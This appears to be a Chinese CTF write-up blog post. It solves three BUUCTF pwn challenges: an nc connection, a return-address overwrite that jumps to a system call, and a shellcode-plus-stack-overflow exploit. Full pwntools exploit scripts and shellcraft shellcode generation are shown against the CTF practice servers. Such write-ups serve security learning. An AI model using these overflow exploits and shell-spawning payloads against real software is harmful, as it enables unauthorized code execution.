【无标题】

Do_u_know_how2_use_nc

请添加图片描述
程序执行就会得到shell。
直接使用nc工具连接。
请添加图片描述
类似这样。

ez_ret2shellcode

还是先下载下来在Linux上checksex一下,基本确实又是栈溢出了。
请添加图片描述
64位,所以我们用64位的IDA打开,没什么有用的信息,点开vulnerable_function函数
请添加图片描述
发现栈溢出的read函数,前面为0意味着标准读入,后面的长度也可以。没毛病就是这个地方了。
请添加图片描述
再翻翻其他函数,发现了我们想要的system函数。找到位置,和需要覆盖的返回地址。看过我之前的博文的人都知道,我比较喜欢system压参的位置。
请添加图片描述
请添加图片描述
再看看buf这个局部变量,先想要覆盖需要0x80 + 0x8的距离
请添加图片描述请添加图片描述

expolit

from pwn import *
p = remote("node3.buuoj.cn",xxxx)
ret_arr = 0X40059A
payload = 'a'*(0x80 + 0x8) + p64(ret_arr)
p.sendline(payload)
p.interactive()

请添加图片描述

ezstack_overflow

请添加图片描述
查看源码

请添加图片描述
可以判定是ret2shellcode+栈溢出题型。那么就需要用到shellcode。
32位:
print(shellcraft.sh()) 生成的是shell的汇编代码
print(asm(shellcraft.sh())) 生成的是shell的机械码

64位:
context.arch=“amd64”
print(shellcraft.sh()) 生成的是shell的汇编代码
print(asm(shellcraft.sh())) 生成的是shell的机械码
分析:
这个题有点坑的是gets函数。以前做的题都是一个参数,从终端获取字符串。这次还以为是把name的值赋给text,不需要终端获取字符串。然后刚开始的思路是shellcode+返回地址一步到位传给read函数,结果发现不通。。最后试验了一下gets(&a,&b)函数,在这里无视b,只用a这个参数,所以需要向终端发送两次payload。

from pwn import *
context.log_level="debug"
p=remote("node4.buuoj.cn",27143)

context.arch="amd64"
shellcode=asm(shellcraft.sh())

name=0x601080
p.recvuntil("name\n")

p.sendline(shellcode)

p.recvuntil("?\n")
payload=b"A"*0x28+p64(name)

p.sendline(payload)


p.interactive()


请添加图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值